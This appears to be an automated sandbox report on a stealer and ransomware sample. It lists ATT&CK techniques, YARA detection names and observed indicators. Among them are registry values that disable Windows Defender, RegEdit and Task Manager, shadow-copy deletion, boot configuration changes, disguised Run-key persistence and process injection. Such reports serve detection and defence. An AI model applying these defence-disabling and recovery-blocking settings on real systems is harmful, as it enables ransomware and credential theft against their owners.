salatstealer | a68f41c4a160277f6cb36b99f0c528a9bb85bec4e3c2c7d12888f3c3ddbbbd08

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 10 IoCs

resource	yara_rule
behavioral2/memory/4400-123-0x00000000005B0000-0x0000000001204000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/4400-124-0x00000000005B0000-0x0000000001204000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/4400-125-0x00000000005B0000-0x0000000001204000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/4400-148-0x00000000005B0000-0x0000000001204000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/4400-156-0x00000000005B0000-0x0000000001204000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/2376-157-0x0000000000320000-0x0000000000F74000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/2376-158-0x0000000000320000-0x0000000000F74000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/2376-159-0x0000000000320000-0x0000000000F74000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/2376-160-0x0000000000320000-0x0000000000F74000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/2376-162-0x0000000000320000-0x0000000000F74000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 10 IoCs

resource	yara_rule
behavioral2/memory/4400-123-0x00000000005B0000-0x0000000001204000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/4400-124-0x00000000005B0000-0x0000000001204000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/4400-125-0x00000000005B0000-0x0000000001204000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/4400-148-0x00000000005B0000-0x0000000001204000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/4400-156-0x00000000005B0000-0x0000000001204000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/2376-157-0x0000000000320000-0x0000000000F74000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/2376-158-0x0000000000320000-0x0000000000F74000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/2376-159-0x0000000000320000-0x0000000000F74000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/2376-160-0x0000000000320000-0x0000000000F74000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/2376-162-0x0000000000320000-0x0000000000F74000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects command variations typically used by ransomware 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c55d-25.dat	INDICATOR_SUSPICIOUS_GENRansomware

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 10 IoCs

resource	yara_rule
behavioral2/memory/4400-123-0x00000000005B0000-0x0000000001204000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/4400-124-0x00000000005B0000-0x0000000001204000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/4400-125-0x00000000005B0000-0x0000000001204000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/4400-148-0x00000000005B0000-0x0000000001204000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/4400-156-0x00000000005B0000-0x0000000001204000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/2376-157-0x0000000000320000-0x0000000000F74000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/2376-158-0x0000000000320000-0x0000000000F74000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/2376-159-0x0000000000320000-0x0000000000F74000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/2376-160-0x0000000000320000-0x0000000000F74000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/2376-162-0x0000000000320000-0x0000000000F74000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Modifies boot configuration data using bcdedit 1 TTPs 13 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3128	bcdedit.exe
3392	bcdedit.exe
3204	bcdedit.exe
5344	bcdedit.exe
5008	bcdedit.exe
3744	bcdedit.exe
4900	bcdedit.exe
3652	bcdedit.exe
200	bcdedit.exe
4592	bcdedit.exe
5740	bcdedit.exe
3716	bcdedit.exe
5316	bcdedit.exe

UPX dump on OEP (original entry point) 13 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c55f-81.dat	UPX
behavioral2/memory/4400-83-0x00000000005B0000-0x0000000001204000-memory.dmp	UPX
behavioral2/memory/4400-123-0x00000000005B0000-0x0000000001204000-memory.dmp	UPX
behavioral2/memory/4400-124-0x00000000005B0000-0x0000000001204000-memory.dmp	UPX
behavioral2/memory/4400-125-0x00000000005B0000-0x0000000001204000-memory.dmp	UPX
behavioral2/memory/4400-148-0x00000000005B0000-0x0000000001204000-memory.dmp	UPX
behavioral2/memory/2376-155-0x0000000000320000-0x0000000000F74000-memory.dmp	UPX
behavioral2/memory/4400-156-0x00000000005B0000-0x0000000001204000-memory.dmp	UPX
behavioral2/memory/2376-157-0x0000000000320000-0x0000000000F74000-memory.dmp	UPX
behavioral2/memory/2376-158-0x0000000000320000-0x0000000000F74000-memory.dmp	UPX
behavioral2/memory/2376-159-0x0000000000320000-0x0000000000F74000-memory.dmp	UPX
behavioral2/memory/2376-160-0x0000000000320000-0x0000000000F74000-memory.dmp	UPX
behavioral2/memory/2376-162-0x0000000000320000-0x0000000000F74000-memory.dmp	UPX

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3512	powershell.exe
1456	powershell.exe
2780	powershell.exe
5396	powershell.exe
824	powershell.exe
5932	powershell.exe
4172	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 3 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
5396	powershell.exe
824	powershell.exe
2780	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
4400	application1.exe
4696	application2.exe
2376	SecurityHealthSystray.exe

Modifies file permissions 1 TTPs 9 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2080	icacls.exe
4760	icacls.exe
5468	icacls.exe
5724	icacls.exe
5320	icacls.exe
4480	icacls.exe
688	icacls.exe
5144	icacls.exe
3804	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	application2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	application2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	application2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	application2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\RarSFX0\\application2.exe\" -startup"	application2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\RarSFX0\\application2.exe\""	application2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	application2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	application2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	application2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	application2.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	wscript.exe
File opened (read-only)	\??\Z:	wscript.exe
File opened (read-only)	\??\L:	wscript.exe
File opened (read-only)	\??\M:	wscript.exe
File opened (read-only)	\??\O:	wscript.exe
File opened (read-only)	\??\H:	wscript.exe
File opened (read-only)	\??\T:	wscript.exe
File opened (read-only)	\??\Q:	wscript.exe
File opened (read-only)	\??\V:	wscript.exe
File opened (read-only)	\??\J:	wscript.exe
File opened (read-only)	\??\S:	wscript.exe
File opened (read-only)	\??\B:	wscript.exe
File opened (read-only)	\??\H:	wscript.exe
File opened (read-only)	\??\K:	wscript.exe
File opened (read-only)	\??\P:	wscript.exe
File opened (read-only)	\??\W:	wscript.exe
File opened (read-only)	\??\W:	wscript.exe
File opened (read-only)	\??\O:	wscript.exe
File opened (read-only)	\??\O:	wscript.exe
File opened (read-only)	\??\P:	wscript.exe
File opened (read-only)	\??\L:	wscript.exe
File opened (read-only)	\??\A:	wscript.exe
File opened (read-only)	\??\O:	wscript.exe
File opened (read-only)	\??\U:	wscript.exe
File opened (read-only)	\??\V:	wscript.exe
File opened (read-only)	\??\N:	wscript.exe
File opened (read-only)	\??\Y:	wscript.exe
File opened (read-only)	\??\T:	wscript.exe
File opened (read-only)	\??\G:	wscript.exe
File opened (read-only)	\??\I:	wscript.exe
File opened (read-only)	\??\J:	wscript.exe
File opened (read-only)	\??\H:	wscript.exe
File opened (read-only)	\??\K:	wscript.exe
File opened (read-only)	\??\Q:	wscript.exe
File opened (read-only)	\??\Y:	wscript.exe
File opened (read-only)	\??\Y:	wscript.exe
File opened (read-only)	\??\T:	wscript.exe
File opened (read-only)	\??\T:	wscript.exe
File opened (read-only)	\??\R:	wscript.exe
File opened (read-only)	\??\W:	wscript.exe
File opened (read-only)	\??\R:	wscript.exe
File opened (read-only)	\??\W:	wscript.exe
File opened (read-only)	\??\B:	wscript.exe
File opened (read-only)	\??\J:	wscript.exe
File opened (read-only)	\??\M:	wscript.exe
File opened (read-only)	\??\B:	wscript.exe
File opened (read-only)	\??\R:	wscript.exe
File opened (read-only)	\??\N:	wscript.exe
File opened (read-only)	\??\R:	wscript.exe
File opened (read-only)	\??\V:	wscript.exe
File opened (read-only)	\??\Y:	wscript.exe
File opened (read-only)	\??\K:	wscript.exe
File opened (read-only)	\??\S:	wscript.exe
File opened (read-only)	\??\I:	wscript.exe
File opened (read-only)	\??\U:	wscript.exe
File opened (read-only)	\??\N:	wscript.exe
File opened (read-only)	\??\U:	wscript.exe
File opened (read-only)	\??\T:	wscript.exe
File opened (read-only)	\??\V:	wscript.exe
File opened (read-only)	\??\K:	wscript.exe
File opened (read-only)	\??\G:	wscript.exe
File opened (read-only)	\??\H:	wscript.exe
File opened (read-only)	\??\D:	wscript.exe
File opened (read-only)	\??\J:	wscript.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 8 IoCs

execution

Visual Basic

T1059.005

pid	Process
892	wscript.exe
4200	wscript.exe
5816	wscript.exe
2088	wscript.exe
4476	wscript.exe
1812	wscript.exe
3760	wscript.exe
1484	wscript.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

Hidden Files and Directories

T1564.001

pid	Process
3940	cmd.exe
1548	cmd.exe
1424	cmd.exe
2352	cmd.exe
1268	cmd.exe
1696	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\RarSFX0\\wallpaper.png"	powershell.exe

UPX packed file 16 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c55f-81.dat	upx
behavioral2/memory/4400-83-0x00000000005B0000-0x0000000001204000-memory.dmp	upx
behavioral2/memory/4400-123-0x00000000005B0000-0x0000000001204000-memory.dmp	upx
behavioral2/memory/4400-124-0x00000000005B0000-0x0000000001204000-memory.dmp	upx
behavioral2/memory/4400-125-0x00000000005B0000-0x0000000001204000-memory.dmp	upx
behavioral2/memory/4400-148-0x00000000005B0000-0x0000000001204000-memory.dmp	upx
behavioral2/memory/2376-155-0x0000000000320000-0x0000000000F74000-memory.dmp	upx
behavioral2/memory/4400-156-0x00000000005B0000-0x0000000001204000-memory.dmp	upx
behavioral2/memory/2376-157-0x0000000000320000-0x0000000000F74000-memory.dmp	upx
behavioral2/memory/2376-158-0x0000000000320000-0x0000000000F74000-memory.dmp	upx
behavioral2/memory/2376-159-0x0000000000320000-0x0000000000F74000-memory.dmp	upx
behavioral2/memory/2376-160-0x0000000000320000-0x0000000000F74000-memory.dmp	upx
behavioral2/memory/2376-162-0x0000000000320000-0x0000000000F74000-memory.dmp	upx
behavioral2/memory/5052-170-0x00000000002B0000-0x0000000000F04000-memory.dmp	upx
behavioral2/memory/2376-180-0x0000000000320000-0x0000000000F74000-memory.dmp	upx
behavioral2/memory/5052-182-0x00000000002B0000-0x0000000000F04000-memory.dmp	upx

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\junk_33_16784.tmp	cmd.exe
File created	C:\Program Files\junk_56_16784.tmp	cmd.exe
File created	C:\Program Files\junk_60_16784.tmp	cmd.exe
File created	C:\Program Files\junk_146_16784.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_69_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_91_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_190_31917.tmp	cmd.exe
File created	C:\Program Files\junk_10_16784.tmp	cmd.exe
File created	C:\Program Files\junk_147_16784.tmp	cmd.exe
File created	C:\Program Files\junk_159_16784.tmp	cmd.exe
File created	C:\Program Files\junk_186_16784.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_1_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_146_31917.tmp	cmd.exe
File created	C:\Program Files\junk_74_16784.tmp	cmd.exe
File created	C:\Program Files\junk_93_16784.tmp	cmd.exe
File created	C:\Program Files\junk_197_16784.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_137_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_198_31917.tmp	cmd.exe
File created	C:\Program Files\junk_35_16784.tmp	cmd.exe
File created	C:\Program Files\junk_49_16784.tmp	cmd.exe
File created	C:\Program Files\junk_125_16784.tmp	cmd.exe
File created	C:\Program Files\junk_194_16784.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_6_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_43_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_70_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_107_31917.tmp	cmd.exe
File created	C:\Program Files\junk_31_16784.tmp	cmd.exe
File created	C:\Program Files\junk_122_16784.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_24_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_54_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_127_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_132_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_169_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_192_31917.tmp	cmd.exe
File created	C:\Program Files\junk_23_16784.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_157_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_194_31917.tmp	cmd.exe
File created	C:\Program Files\junk_174_16784.tmp	cmd.exe
File created	C:\Program Files\junk_178_16784.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_98_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_116_31917.tmp	cmd.exe
File created	C:\Program Files\junk_76_16784.tmp	cmd.exe
File created	C:\Program Files\junk_141_16784.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_7_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_81_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_167_31917.tmp	cmd.exe
File created	C:\Program Files\junk_18_16784.tmp	cmd.exe
File created	C:\Program Files\junk_102_16784.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_21_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_63_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_83_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_106_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_161_31917.tmp	cmd.exe
File created	C:\Program Files\junk_41_16784.tmp	cmd.exe
File created	C:\Program Files\junk_42_16784.tmp	cmd.exe
File created	C:\Program Files\junk_46_16784.tmp	cmd.exe
File created	C:\Program Files\junk_96_16784.tmp	cmd.exe
File created	C:\Program Files\junk_121_16784.tmp	cmd.exe
File created	C:\Program Files\junk_158_16784.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_45_31917.tmp	cmd.exe
File created	C:\Program Files (x86)\junk_85_31917.tmp	cmd.exe
File created	C:\Program Files\junk_17_16784.tmp	cmd.exe
File created	C:\Program Files\junk_19_16784.tmp	cmd.exe
File created	C:\Program Files\junk_70_16784.tmp	cmd.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

Ignore Process Interrupts

T1564.011

pid	Process
3080	powershell.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3260	sc.exe
1304	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3108	cmd.exe
2024	cmd.exe
3548	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	application1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecurityHealthSystray.exe

Delays execution with timeout.exe 2 IoCs

pid	Process
5940	timeout.exe
4752	timeout.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4100	vssadmin.exe

Kills process with taskkill 1 IoCs

pid	Process
4832	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
2780	powershell.exe
2780	powershell.exe
5396	powershell.exe
5396	powershell.exe
824	powershell.exe
824	powershell.exe
5932	powershell.exe
5932	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
1756	WMIC.exe
1756	WMIC.exe
1756	WMIC.exe
1756	WMIC.exe
4172	powershell.exe
4172	powershell.exe
4172	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
1456	powershell.exe
1456	powershell.exe
1456	powershell.exe
4696	application2.exe
4696	application2.exe
4400	application1.exe
4400	application1.exe
4400	application1.exe
4400	application1.exe
2376	SecurityHealthSystray.exe
2376	SecurityHealthSystray.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeIncreaseQuotaPrivilege	2780	powershell.exe
Token: SeSecurityPrivilege	2780	powershell.exe
Token: SeTakeOwnershipPrivilege	2780	powershell.exe
Token: SeLoadDriverPrivilege	2780	powershell.exe
Token: SeSystemProfilePrivilege	2780	powershell.exe
Token: SeSystemtimePrivilege	2780	powershell.exe
Token: SeProfSingleProcessPrivilege	2780	powershell.exe
Token: SeIncBasePriorityPrivilege	2780	powershell.exe
Token: SeCreatePagefilePrivilege	2780	powershell.exe
Token: SeBackupPrivilege	2780	powershell.exe
Token: SeRestorePrivilege	2780	powershell.exe
Token: SeShutdownPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeSystemEnvironmentPrivilege	2780	powershell.exe
Token: SeRemoteShutdownPrivilege	2780	powershell.exe
Token: SeUndockPrivilege	2780	powershell.exe
Token: SeManageVolumePrivilege	2780	powershell.exe
Token: 33	2780	powershell.exe
Token: 34	2780	powershell.exe
Token: 35	2780	powershell.exe
Token: 36	2780	powershell.exe
Token: SeDebugPrivilege	5396	powershell.exe
Token: SeIncreaseQuotaPrivilege	5396	powershell.exe
Token: SeSecurityPrivilege	5396	powershell.exe
Token: SeTakeOwnershipPrivilege	5396	powershell.exe
Token: SeLoadDriverPrivilege	5396	powershell.exe
Token: SeSystemProfilePrivilege	5396	powershell.exe
Token: SeSystemtimePrivilege	5396	powershell.exe
Token: SeProfSingleProcessPrivilege	5396	powershell.exe
Token: SeIncBasePriorityPrivilege	5396	powershell.exe
Token: SeCreatePagefilePrivilege	5396	powershell.exe
Token: SeBackupPrivilege	5396	powershell.exe
Token: SeRestorePrivilege	5396	powershell.exe
Token: SeShutdownPrivilege	5396	powershell.exe
Token: SeDebugPrivilege	5396	powershell.exe
Token: SeSystemEnvironmentPrivilege	5396	powershell.exe
Token: SeRemoteShutdownPrivilege	5396	powershell.exe
Token: SeUndockPrivilege	5396	powershell.exe
Token: SeManageVolumePrivilege	5396	powershell.exe
Token: 33	5396	powershell.exe
Token: 34	5396	powershell.exe
Token: 35	5396	powershell.exe
Token: 36	5396	powershell.exe
Token: SeDebugPrivilege	824	powershell.exe
Token: SeIncreaseQuotaPrivilege	824	powershell.exe
Token: SeSecurityPrivilege	824	powershell.exe
Token: SeTakeOwnershipPrivilege	824	powershell.exe
Token: SeLoadDriverPrivilege	824	powershell.exe
Token: SeSystemProfilePrivilege	824	powershell.exe
Token: SeSystemtimePrivilege	824	powershell.exe
Token: SeProfSingleProcessPrivilege	824	powershell.exe
Token: SeIncBasePriorityPrivilege	824	powershell.exe
Token: SeCreatePagefilePrivilege	824	powershell.exe
Token: SeBackupPrivilege	824	powershell.exe
Token: SeRestorePrivilege	824	powershell.exe
Token: SeShutdownPrivilege	824	powershell.exe
Token: SeDebugPrivilege	824	powershell.exe
Token: SeSystemEnvironmentPrivilege	824	powershell.exe
Token: SeRemoteShutdownPrivilege	824	powershell.exe
Token: SeUndockPrivilege	824	powershell.exe
Token: SeManageVolumePrivilege	824	powershell.exe
Token: 33	824	powershell.exe
Token: 34	824	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4476	wscript.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3372 wrote to memory of 5816	3372	2026-08-09_068b0862821a95f9d1a079cf7cb8ad59_cryptbot_icedid_luca-stealer_njrat_stealc.exe	88
PID 5816 wrote to memory of 3548	5816	wscript.exe	89
PID 3548 wrote to memory of 2940	3548	cmd.exe	91
PID 3548 wrote to memory of 4136	3548	cmd.exe	92
PID 4136 wrote to memory of 1692	4136	net.exe	93
PID 3548 wrote to memory of 1888	3548	cmd.exe	94
PID 3548 wrote to memory of 1720	3548	cmd.exe	95
PID 3548 wrote to memory of 5420	3548	cmd.exe	96
PID 3548 wrote to memory of 4976	3548	cmd.exe	97
PID 3548 wrote to memory of 2484	3548	cmd.exe	98
PID 3548 wrote to memory of 2780	3548	cmd.exe	99
PID 3548 wrote to memory of 5396	3548	cmd.exe	101
PID 3548 wrote to memory of 824	3548	cmd.exe	102
PID 3548 wrote to memory of 5932	3548	cmd.exe	103
PID 3548 wrote to memory of 5940	3548	cmd.exe	105
PID 3548 wrote to memory of 3804	3548	cmd.exe	106
PID 3548 wrote to memory of 2080	3548	cmd.exe	107
PID 3548 wrote to memory of 5468	3548	cmd.exe	108
PID 3548 wrote to memory of 5724	3548	cmd.exe	109
PID 3548 wrote to memory of 5320	3548	cmd.exe	110
PID 3548 wrote to memory of 4480	3548	cmd.exe	112
PID 3548 wrote to memory of 4760	3548	cmd.exe	113
PID 3548 wrote to memory of 688	3548	cmd.exe	114
PID 3548 wrote to memory of 5144	3548	cmd.exe	115
PID 3548 wrote to memory of 3128	3548	cmd.exe	116
PID 3548 wrote to memory of 3392	3548	cmd.exe	117
PID 3548 wrote to memory of 3204	3548	cmd.exe	118
PID 3548 wrote to memory of 5344	3548	cmd.exe	119
PID 3548 wrote to memory of 5008	3548	cmd.exe	120
PID 3548 wrote to memory of 3744	3548	cmd.exe	121
PID 3548 wrote to memory of 4900	3548	cmd.exe	122
PID 3548 wrote to memory of 3652	3548	cmd.exe	123
PID 3548 wrote to memory of 4748	3548	cmd.exe	124
PID 3548 wrote to memory of 4576	3548	cmd.exe	126
PID 3548 wrote to memory of 3108	3548	cmd.exe	127
PID 3108 wrote to memory of 200	3108	cmd.exe	128
